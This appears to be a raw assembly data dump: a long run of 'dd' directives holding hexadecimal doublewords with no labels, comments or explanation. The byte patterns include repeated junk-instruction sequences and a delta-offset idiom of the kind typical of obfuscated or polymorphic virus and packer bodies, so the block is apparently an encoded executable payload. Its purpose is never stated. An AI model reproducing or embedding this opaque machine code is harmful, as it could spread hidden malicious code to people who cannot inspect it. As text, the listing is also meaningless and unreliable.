		dd 0F3B70F53h, 441C75Fh, 0
		dd 840FC00Bh, 32h, 8D8DF28Bh, 6074B4Ah,	14E8h, 13C500h
		dd 332BA79Fh, 2187991Ah, 3DDBA52Bh, 0DDAF2CD2h,	0A9B52B1Ch
		dd 5E06071Bh, 5B8h, 0F78B6600h,	8D8DE1FFh, 607033Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 37C35040h, 0F0B3D3F8h
		dd 0C7A552FAh, 0AA727C01h, 56006A44h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 6678F3B4h
		dd 18B0DE81h, 0CFCB0181h, 0B5011499h, 607131Dh,	3C0441C7h
		dd 52CE7875h, 7F94DF81h, 815E5B41h, 0D7100441h,	6A31D6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 90F8AEC3h, 6A0FDA53h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 9585A06Bh, 89187CBEh
		dd 27099589h, 0EE90607h, 63000000h, 0AE566FA7h,	0B65CE155h
		dd 0E4738EE0h, 3D858D27h, 89060703h, 72635BDh, 8E906h
		dd 0C1300000h, 0BA8B0DBCh, 0E990B3C3h, 8, 0F421063Bh, 0DC61B76Bh
		dd 0FE950h, 97E80000h, 0FFD95B40h, 86E56423h, 969CE869h
		dd 0B50390B4h, 6072D7Dh, 15E195FFh, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F36A3C3h
		dd 8D8DFAB7h, 607033Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 66C35646h, 83F7B5BFh,	1C714h,	6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0A6D1C352h, 0D61E61A9h, 0E68545Eh, 29658589h
		dd 0B70F0607h, 441C7F1h, 0
		dd 20DB523h, 0C00B0607h, 65840Fh, 9D890000h, 60721A9h
		dd 4B4A8D8Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0E0A20C3h, 30D41C87h, 8B66DD18h
		dd 5B8F7h, 0F98B0000h, 6AE1FFh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0EA73F4C3h, 1CF5E469h
		dd 0A9BD29E2h, 8D060711h, 7033D8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0B4480660h
		dd 1C77BC9h, 54CA95A5h,	38A0Fh,	0B70F0000h, 0CB0181FAh
		dd 6A1499CFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 6D1C351h, 98287F6Fh, 8589F38Bh
		dd 60730A1h, 690441C7h,	0E9CE5F59h, 10h, 0DA4C7B69h, 5237EDE2h
		dd 0A0C4A2A0h, 40D9B2E4h, 10044181h, 5031D6D7h,	12C5BD8Bh
		dd 6A5F0607h, 6E900h, 0EC70000h, 0BCA117Ah, 33D858Dh, 8B520607h
		dd 72FA5BDh, 50905E06h,	830F52h, 0F000000h, 0EE86031h
		dd 52000000h, 54CEF342h, 6C27F118h, 5A33EB9Ah, 0CE95FB0h
		dd 22000000h, 54680A82h, 5E153C82h, 616B64D9h, 0E850585Ah
		dd 6, 2EF6FD4Ah, 0BF66AC86h, 905E7737h,	1E059D89h, 95FF0607h
		dd 60715E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	38C35040h, 0E9786F89h, 73A4D681h, 8D8D66A9h, 607033Dh
		dd 6830Fh, 0BD330000h, 6071229h, 1C7F18Bh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2EC35747h
		dd 0B6035D37h, 4179F87Dh, 441C79Ah, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 86C35242h
		dd 0F56EEF38h, 0B8E8BF66h, 840FC00Bh, 0AEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0ECC35040h, 0B96D6719h
		dd 0F7816C04h, 11DE021Fh, 15E59589h, 8D8D0607h,	6074B4Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 45C35646h
		dd 0B57158A3h, 0EBF663Fh, 0C1858934h, 0B806070Eh, 5, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0FC35343h, 8DCB9769h
		dd 0C9B52361h, 0FF06070Eh, 56006AE1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 9F890832h
		dd 0CA0371B6h, 0FFF215E9h, 52006AFFh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 8B3F7317h
		dd 89C18BF9h, 7269D85h,	4EB06h,	0E8000000h, 0Ah, 31FC8C4Ch
		dd 8B33CAA9h, 0B58B5070h, 60701EDh, 2213BE5Eh, 858D5846h
		dd 6072C61h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	25C35747h, 0CAA36F3Ah, 0B58B22F5h, 6073171h, 11E890h
		dd 4EA60000h, 8DE8B002h, 387CDE90h, 27357395h, 661A53D0h
		dd 5E595CBEh, 89609050h, 7051DBDh, 0AD8D2906h, 61060728h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 8B9500C3h, 0FF747E22h, 0FE86014h,	0D0000000h
		dd 5785AA7Ch, 0D27244AEh, 56AD435Bh, 9589BD5Ch,	6070C45h
		dd 11B58958h, 6106070Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 1B2E85C3h, 1FE1B16h
		dd 0C9852908h, 8D06070Ch, 0AD1F985h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 65B58B19h
		dd 9060731h, 7012585h, 97BE6606h, 5C08334h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8CC35545h, 53100136h
		dd 5090D05Ah, 6A006A90h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 80B1C356h, 6A006ADCh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0C907C351h, 239C8324h, 0A252B9F3h, 6860Fh
		dd 8D890000h, 6072711h,	133595FFh, 85890607h, 6070369h
		dd 74EDE2BEh, 9D9D8D1Ch, 6A060A93h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E923C357h
		dd 14h,	955D69D5h, 0DA1BF246h, 2554F1C7h, 0D16931BCh, 0C3E66212h
		dd 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 5D639FC3h, 41F204D7h, 0B58B3D5Dh,	6070591h
		dd 0CF58529h, 85FF0607h, 6072C89h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 28C35545h, 0FFE9F894h, 0E8000008h
		dd 0
		dd 3ED815Dh, 6A060AD2h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0E2A2C350h,	0BD2F8365h
		dd 0AADE8190h, 813CAADFh, 71815BDh, 7D006h, 81860F00h
		dd 0F000001h, 9D8BF0BFh, 6070379h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0E8C35242h,	0B6A6D43Ah, 3571D8FAh
		dd 0CE8166EDh, 0B58B65F1h, 6070581h, 100E381h, 8E80000h
		dd 0A2000000h, 449B2E05h, 29E7A109h, 7271D85h, 0DB0B5E06h
		dd 8E850Fh, 66510000h, 5E2239BEh, 0CFBEBD83h, 0F00060Ah
		dd 2D84h, 0E4BE6000h, 0E84B5075h, 10h, 2FEDAA74h, 0CAC64CC7h
		dd 0BBBE3Ah, 5CFEDCB7h,	0C9EA8166h, 0E96158E4h,	0A2h, 0EA5B58Bh
		dd 85C70607h, 60ACFBEh,	1, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0E0C35747h, 1E860064h, 20599589h, 67E90607h
		dd 0F000000h, 1381h, 0EE900h, 0CBE90000h, 9A96AA6Fh, 601A085Dh
		dd 9CF564F3h, 0CFBE85C7h, 60Ah,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 8949F5C3h
		dd 60C912CEh, 1E45958Bh, 858B0607h, 607169Dh, 0FE9F861h
		dd 5C000000h, 0B6EF30C1h, 0D89BA281h, 94953B28h, 9D8D3F90h
		dd 6070379h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	83C35242h, 0B4F4AC50h, 0F541DAC5h, 2C798501h, 9E90607h
		dd 0BC000000h, 952B7136h, 4CE56A84h, 0FEFF2381h, 0B58BFFFFh
		dd 6071331h, 6ADB8C66h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0ECDCC352h,	0F52700CBh
		dd 1279B52Bh, 0C3F60607h, 69840F04h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 95A0C351h, 8608892Bh, 0F5F1B70Fh, 186195FFh,	0F78B0607h
		dd 0C8A0F50h, 0E8000000h, 6, 505A3E0h, 895E7A37h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0D06364C3h, 667DEA3Fh, 0D529D681h, 37DE9h, 3DB58B00h
		dd 0B0060706h, 8170E600h, 0EB3FA2C6h, 0E971E44Dh, 0Bh
		dd 0FCBE151Ch, 0C50234Bh, 0FA97FF6h, 6AD8B6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 4ACE31C3h
		dd 6755DCE4h, 66A5E3D9h, 0BACC17BEh, 6,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 51C35141h, 746F352Bh
		dd 96FED67Eh, 0F5858B60h, 6106070Bh, 38C0Fh, 8B660000h
		dd 89C38BF0h, 71E69B5h,	0AE8BBE06h, 0E8C12D1Eh,	55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 2904E432h, 0F38B0916h, 0BE9h, 0F31C3400h, 0EA7025E0h
		dd 0A539AFA8h, 6AE2F766h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0DDA3C357h,	0FA7EB0E8h
		dd 0C68166D0h, 0D82B3EAAh, 0BABA03BEh, 0BE66930Dh, 50508A3Bh
		dd 61605652h, 5A310F5Eh, 0B58B9358h, 6072FE9h, 1815B5FFh
		dd 8A0F0607h, 12h, 6E8h, 0C973E900h, 8BC58AB8h,	71A55B5h
		dd 95FF5E06h, 6071B69h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 91C35747h, 0C40B3646h, 81668CABh, 0B0D92CF6h
		dd 65BD8900h, 0E606071Dh, 53006A70h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 6BE4B718h
		dd 0C53638C7h, 6A71E434h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0F0CFC352h,	830F06h
		dd 1000000h, 71DFDB5h, 0F613C06h, 1BD83h, 958B6000h, 6071171h
		dd 61CBB70Fh, 0D1DB58Bh, 0B60F0607h, 53006AD8h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 6BA46h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 63A9E8C3h, 0F4191B87h, 2F59B503h, 0C38B0607h, 6A04E8C1h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 9A7EC350h, 0F9E6B835h, 665FF120h,	0CCBEE2F7h
		dd 66547A47h, 0D82BF28Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 72C35141h, 99B498EFh,	0E89FAC09h, 7
		dd 8E92DC2Bh, 5E5F4E4Dh, 0CE816658h, 0D82BDC91h, 0EC880Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 7D9B0DC3h, 0B9F08B66h, 7,	8B00C183h, 71C35B5h
		dd 0FD93B06h, 0B586h, 665E5600h, 6AD98Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B4DE4C3h
		dd 4C1F6F2h, 84840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0FD3581C3h, 86683C47h
		dd 51BD29B6h, 0FF060711h, 7186195h, 9D950106h, 5B06072Ch
		dd 0BEC32BF8h, 7CF4ACD3h, 8343Dh, 3B860F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 52B9C352h, 0EE94EA2h, 54000000h, 0EE3AC4Dh
		dd 6A1327BEh, 0A728CBAh, 8E9F8h, 0BE660000h, 0C08B749Dh
		dd 0C38BF28Bh, 8150D88Bh, 0B28E17D6h, 85C75E51h, 60719EDh
		dd 5B6CEB99h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	22C35141h, 860FC08Bh, 3, 81F6B70Fh, 71815BDh, 7D006h
		dd 38850F00h, 60000000h, 41B58BF5h, 61060727h, 181585FFh
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 6021CFC3h, 2F2DB58Bh, 0BB660607h,	0FF61A325h
		dd 71815B5h, 0D9B52306h, 0FF06071Bh, 71B6995h, 0E1BD0906h
		dd 9006070Ch, 46BED88Bh, 8334C67Bh, 70129BDh, 840F0006h
		dd 31h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h
		dd 0D4C35747h, 81F2B25Fh, 0D2E3C8D6h, 1DE9F92Dh, 8B000002h
		dd 71771B5h, 8BDF8C06h,	704D5B5h, 0C7F76606h, 850F0004h
		dd 204h, 2E6D8D31h, 0FF2B0607h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 81C35242h, 89F7B70Fh, 7176195h
		dd 709D8D06h, 89060ADAh, 733499Dh, 5E85006h, 6E000000h
		dd 0CA40A000h, 830Fh, 895E0000h, 830F241Ch, 1, 0EDB58BF8h
		dd 64060726h, 35FFh, 81660000h,	6487C7E6h, 2589h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 0DF4FA1C3h, 0CB52D855h, 85B58BFEh, 8B06071Ah, 128F0FC4h
		dd 0E9000000h, 0Dh, 80008EEFh, 0D4936355h, 0B05BE999h
		dd 0EB01CD2Bh, 3DB50100h, 6A06071Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 66AAC356h
		dd 64F80BBEh, 58Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 160424h, 51410000h, 2B2286C3h, 870Fh, 0C4830000h
		dd 0E6816604h, 0C00B3BE0h, 0EE840Fh, 64BE0000h,	8D34E44Fh
		dd 74B4ABDh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 74E5A2B3h
		dd 5B8EE7Ch, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3A66C355h, 2B6066A2h
		dd 715618Dh, 0E7FF6106h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 46C35141h, 3E21F040h,	2B294801h, 717ADB5h
		dd 5C8B5706h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh, 0B0h
		dd 0B88383h, 5F020000h,	6AC3C033h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7241C356h
		dd 3A5B523h, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 890977C3h, 718F18Dh, 0F7BF0F06h
		dd 1CE9CA2Bh, 9FFFFF7h,	7148D9Dh, 65858906h, 0E9060706h
		dd 5, 9B438974h, 0EFBCBE1Bh, 0C18B6FF1h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 0F1C35040h, 2BF3BF0Fh
		dd 711FDB5h, 4EB06h, 0F9000000h, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 19h, 3BC35343h, 53DF1DCAh, 4338BEBBh
		dd 11E806C5h, 0F5000000h, 6842D954h, 86C80F5Ch,	74459816h
		dd 0E735331Ch, 1E058531h, 8D5E0607h, 72C6185h, 25B53306h
		dd 8B06071Ch, 72171BDh,	60609006h, 0D98AF18Bh, 52506061h
		dd 585A310Fh, 61C78B66h, 6E95061h, 0EC000000h, 0EC8DECFEh
		dd 6A900Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 2BFC87C3h, 72FA5B5h, 8B006A06h, 73269B5h
		dd 6A006A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0AD68C353h, 0E58AD81Dh, 858D3BACh
		dd 60ADD27h, 3305C083h,	71B51B5h, 52509006h, 38F0Fh, 8B660000h
		dd 0E8310FFAh, 7, 182295D1h, 0E9911B7Fh, 11h, 0E8058C43h
		dd 0BDEC4E88h, 0D9BC0D1Fh, 8304169Ah, 585A5EBCh, 6A9050h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 11551EC3h, 0F28BF98Bh, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 49B5D3C3h, 8EE25549h
		dd 0BEBE7B1Dh, 89465B0Fh, 717858Dh, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 22A7C351h, 89680A82h, 7069D8Dh, 1B73BF06h, 95FF5347h
		dd 6071335h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0EDC35545h, 332C6762h, 71B3DBDh, 9D9D8D06h, 6A060A93h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 3CBDC356h, 0D4DB763Eh, 0E041D781h, 0D3FF4383h
		dd 0EADB58Bh, 85FF0607h, 6072C89h, 1A31BD01h, 95890607h
		dd 6071645h, 823E9h, 0E800h, 815D0000h,	0ADD31EDh, 148D0F06h
		dd 0E9000000h, 0Fh, 0B10326E9h,	0ABB93A57h, 67D87023h
		dd 810B38E2h, 71815BDh,	7D006h,	8E860F00h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 737CC353h, 0BC85F781h, 0BD0114E3h, 6072669h,	2CD59D8Bh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 945C1FC3h, 49912999h, 0E381B60Dh,	100h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0FEC35242h, 851C6643h
		dd 0FDB0B29h, 0AA85h, 0DE800h, 4450000h, 43AD9E68h, 8E7539DFh
		dd 8B0114EEh, 0BD835EF0h, 60ADB26h, 2F840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 3F0EC353h, 91E958h, 66600000h, 29C856BAh
		dd 70AA995h, 85C76106h,	60ADB26h, 1, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 7FC35141h, 0F88BE6E1h, 270D781h
		dd 50E95FC7h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 3426C351h, 80B9A0Ch
		dd 0C78E35E8h, 0ADB2685h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0B5958971h
		dd 8D060719h, 72CD59Dh,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 2244DEE8h, 8B667F71h
		dd 0FF2381FEh, 8BFFFFFEh, 71DB9B5h, 0DB8C6606h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A6C35545h, 0E9D982CBh
		dd 8, 0DBF7666Ch, 63EED7A7h, 0F04C3F6h,	5284h, 37D68100h
		dd 0FF7CB330h, 7186195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 870F50BDh, 12h, 0C800Fh
		dd 7E90000h, 14000000h,	80DECCF5h, 4895883h, 9E924h, 0DAC50000h
		dd 0D377F541h, 0E9C65DA0h, 3ACh, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 15h, 48C35040h, 0D68166F3h, 0B0B929h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 19C35141h
		dd 34F8C2D3h, 70E66C6Eh, 71F7BF66h, 850171E4h, 6070A29h
		dd 0FF1B70Fh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0E02CFDC3h, 9161F2E4h, 0BF0F95B1h
		dd 6BAF2h, 0CE90000h, 20000000h, 0C64F92CFh, 945D4E1Bh
		dd 8BE46398h, 0C58589C3h, 0E9060704h, 10h, 98D1CF35h, 45E053F6h
		dd 2C067C4Ch, 91817703h, 0F04E8C1h, 0CF81F2B7h,	364CEB35h
		dd 89E2F766h, 71031BDh,	6AD82B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0B813C351h
		dd 1418D89h, 60500607h,	0CE8h, 0E0493A00h, 0BADFEEDBh
		dd 0A8D9CA2Fh, 0F5250F4h, 5B585A31h, 61D38B66h,	89241C89h
		dd 72F658Dh, 15B5FF06h,	6A060718h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 94CBC353h
		dd 68151E3Eh, 319C04E9h, 70C5195h, 0F1B58B06h, 0FF06071Fh
		dd 71B6995h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 11584358h, 0BE83698h, 84000000h
		dd 0D151686Dh, 1BC1C92Ah, 0D68122C3h, 6A82DF78h, 91BD895Fh
		dd 0B0060717h, 9B50900h, 0E6060716h, 57006A70h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0F5E5356h
		dd 188h, 71E4F800h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 58C35747h, 0BE660E34h, 613C7B8Eh, 1C2830Fh
		dd 0B70F0000h, 198529F0h, 0F060721h, 6BAD8B6h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 8BB1C351h, 0BD8B412Eh, 6070CC1h, 9F78B66h
		dd 71A41B5h, 9C38B06h, 704459Dh, 4E8C106h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4C35545h, 0DAE57026h
		dd 0C6816661h, 0BD89B53Eh, 6070A3Dh, 3E2F766h, 703FDBDh
		dd 0FD82B06h, 58FCF6B7h, 2BF88B66h, 31880FD8h, 66000001h
		dd 7B9F08Bh, 56000000h
		dd 9E860h, 0CCAB0000h, 0F3FE7DB4h, 58A1232Ah, 6181DD80h
		dd 0C1835Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	43C35141h, 0F98B66F9h, 860FD93Bh, 0E8h,	8E9h, 95138800h
		dd 8CE5AA5Ch, 0D98C6607h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 92C35242h, 0C1F68C68h, 95840F04h, 89000000h
		dd 715A98Dh, 6195FF06h,	89060718h, 70F7985h, 6A5B06h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 62C9EDC3h, 9589AC2Bh, 60726B1h, 0CD958960h, 6606070Ah
		dd 61603CBAh, 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0A4742DC3h, 0D1F4377Fh, 68D0F77h
		dd 89000000h, 73171BDh,	8343D06h, 860F0000h, 14h, 148D9529h
		dd 0B5330607h, 6070391h, 1FE9h,	0F7BF0F00h, 0E856C08Bh
		dd 11h,	0B4AE078Eh, 0E4BECD47h,	4E86B0C0h, 0D3D7B2A2h
		dd 5F5EF880h, 0D88BC38Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 8EC35242h, 0E68112B6h, 0F88B6660h, 37985C7h
		dd 0EB9F0607h, 8D891C3Dh, 60719FDh, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 948130C3h
		dd 2364116Ch, 15BD81BBh, 0D0060718h, 0F000007h,	2C85h
		dd 45B58B00h, 0FF060716h, 7181585h, 12E806h, 5F8C0000h
		dd 0EC887FAh, 63DE4155h, 448C5452h, 0C2A3E728h,	5EFB8B66h
		dd 0D5DF8166h, 15B5FF73h, 6A060718h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 81EBC351h
		dd 0ACA2DEDFh, 6995FF1Dh, 6A06071Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5EC8C352h
		dd 94DB3696h, 0B50B804Eh, 6071AD1h, 0FB8B6690h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0E9C35040h, 24850FBDh
		dd 60000000h, 37D9589h,	8B660607h, 0FAB70FFEh, 11E961h
		dd 29B0000h, 45C334BBh,	0D01E934Dh, 5426B0A0h, 8B672370h
		dd 70691BDh, 51006A06h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 9D0160D8h, 6071C55h, 2D6DB529h, 6A610607h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 3810C351h, 0E892F649h, 12h, 31CF959Ch, 76BE4F1Ah
		dd 0C2FCE75Bh, 0F235F4BBh, 0B5897528h, 6072949h, 305DBD8Bh
		dd 0E85E0607h, 0Eh, 0DE1E1915h,	9A3DD322h, 48F0B132h, 5E56AC4Eh
		dd 0C8F0Fh, 0B58B0000h,	6071BA1h, 870Fh, 6A5F0000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0EF7DC356h, 66FAB70Fh, 0E91082BFh, 0FFFFF801h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FC35343h, 0FF2EA1DEh
		dd 51BCC56Eh, 10E9C18Bh, 0C8000000h, 0A1E83462h, 0D73FB310h
		dd 0FD411276h, 0F23A6FBh, 4EBF8B7h, 0
		dd 2949B533h, 858D0607h, 6072C61h, 2DD024BFh, 8B0F5037h
		dd 2, 4895F52h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0F948318Dh, 6AA3A2h, 1C71B509h
		dd 6A0607h, 6E5BD2Bh, 858D0607h, 60AE70Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 62C35747h, 0E304F663h
		dd 1A48BC66h, 318D8920h, 81060721h, 29849BF7h, 5C0831Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C3C35747h
		dd 218D0BE5h, 1419589h,	0BD330607h, 6072E79h, 5E950h, 6BD30000h
		dd 8910DFE4h, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 6F9890C3h, 66721791h, 10E4E781h
		dd 14870Fh, 8E0F0000h, 0Eh, 9E9h, 36D6A600h, 0A815DE1Bh
		dd 6A8240h, 549BD8Bh, 6A0607h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 20C35242h, 0D120993Dh, 2195890Bh
		dd 0FF06070Eh, 7133595h, 958D8906h, 8D060712h, 0A939D9Dh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0B83A747Bh, 971D92E5h, 85FFD3FFh, 6072C89h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 28C35545h
		dd 14978CD5h, 0B5294858h, 6072655h, 411BD8Bh, 0ACE90607h
		dd 0E8000007h, 0
		dd 17ED815Dh, 81060AE7h, 71815BDh, 7D006h, 14860F00h, 23000001h
		dd 70B05B5h, 3D9D8B06h,	6A060701h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 7334C356h
		dd 816672AAh, 0FC1610C7h, 100E381h, 0B5310000h,	6070339h
		dd 850FDB0Bh, 6Fh, 0AE1BD2Bh, 0BD830607h, 60AE56Bh, 39840F00h
		dd 1000000h, 7144195h, 7DE906h,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BD587C3h
